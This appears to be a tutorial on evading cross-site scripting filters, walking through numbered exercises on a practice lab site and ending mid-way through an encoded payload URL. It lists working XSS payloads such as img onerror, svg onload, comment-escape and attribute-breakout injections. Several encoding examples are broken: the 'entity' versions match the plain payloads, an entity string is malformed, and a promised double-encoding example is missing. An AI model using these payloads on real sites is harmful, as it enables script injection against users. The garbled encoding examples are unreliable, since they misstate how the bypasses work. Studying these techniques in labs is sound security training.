In web application security, Cross-Site Scripting (XSS) vulnerabilities are a common yet powerful threat, enabling attackers to execute scripts in a user's browser. Security-conscious developers often employ various filters to prevent XSS, but crafty attackers can bypass these filters with the right techniques. This guide provides a technical breakdown of filter evasion tactics, showcasing real-world solutions to bypass common XSS filters and restrictions. Below you can find a collection of bypasses which can be tried over at https://labs.hackxpert.com/RXSS/GET/
1. Identifying Filter-Free Fields
The first step to a successful XSS exploit is to identify fields with little or no filtering. For instance, in lab 01 where "no filters at all" are present, any XSS payload can be injected, making it trivial to execute malicious code. However, as filtering layers are added, attackers must adapt.
2. Bypassing Basic Script and Event Filters
In many scenarios, applications filter out the <script> tag and certain JavaScript functions like alert() to prevent basic XSS (Lab 10). Common evasion methods include using alternative HTML tags with event attributes, such as:
<img src=x onerror=confirm()>
<svg onload=alert(1)>
These methods leverage tags and attributes that allow JavaScript-like behavior without relying on the <script>tag directly.
3. Escaping Case-Sensitive and Word-Based Filters
As filters evolve to detect keywords like alert, prompt, or confirm, they may also enforce case sensitivity (Lab 12). Here, attackers can manipulate case or switch to alternative event handlers:
<img src=x onerror=prompt()>
<sCript>prompt()</sCript>
For cases where user input is automatically converted to lowercase (Lab 13), omitting <script> and relying on HTML attributes (e.g., <img src=x onerror=prompt()>) can circumvent the filter.
4. Handling Special Character Restrictions
Sometimes, filters strip out key characters such as >, <, and parentheses (Lab 14-17). Bypasses in these cases can include:
Using HTML entities: <img src=x onerror=alert()>
Replacing parentheses with entities: <svg onload=alert(1)>
In environments where HTML entity decoding is in effect, attackers can replace forbidden characters with equivalent encoded values (Lab 16), such as double URL encoding:
5. Navigating HTML Comment-Based Filters
When injected code is embedded in HTML comments (Lab 20–22), attackers can close the comment to escape:
--> <svg onload=alert(1);> <!--
6. Leveraging Specific Tag Constraints
Some filters restrict injection to specific HTML tags, such as iframe or svg (Lab 18 and 27). In these cases:
An iframe-specific payload like <iframe src="javascript:alert('XSS');"></iframe> leverages iframe attributes.
The SVG tag supports onload events, allowing: <svg onload=alert(1)>.
7. Overcoming Filtered Character Encodings
Advanced filters may block critical characters, necessitating creative approaches:
When < is blocked but html_entity_decode is in use (Lab 15), <img src=x onerror=alert()> can be crafted as <img src=x onerror=alert()>.
For filters that remove spaces, attackers can substitute / or use a plus sign (+) instead (Lab 28).
8. Exploiting Context-Specific Injection Points
Lab 30 introduces a unique attack vector with an HTML attribute-based XSS vulnerability. Here, breaking out of the attribute using '> allows for injected code such as:
'><img src=x onerror=alert()>
9. Circumventing Filters with Uppercase Restrictions
In environments where uppercase transformations apply (Lab 100), attackers can use HTML entities to construct alert() by encoding each character:
&97;&108;&101;&114;&116;
This approach allows JavaScript execution despite uppercase enforcement.
10. Using CSS and HTML Tags in Complex XSS Scenarios
Lab 80 requires a creative XSS attack using only
tags combined with scrolling:<body onscroll=alert(1)><br><br> ...<input autofocus>
Here, <input autofocus> triggers scrolling, leading to event execution.
11. JavaScript-Based XSS via Template Literals
In Lab 90, where backticks are used in JavaScript, template literals allow for injection:
https://labs.hackxpert.com/RXSS/GET/90.php?test=1%3C/Script/%3E%3CImg/Src/OnError=_=co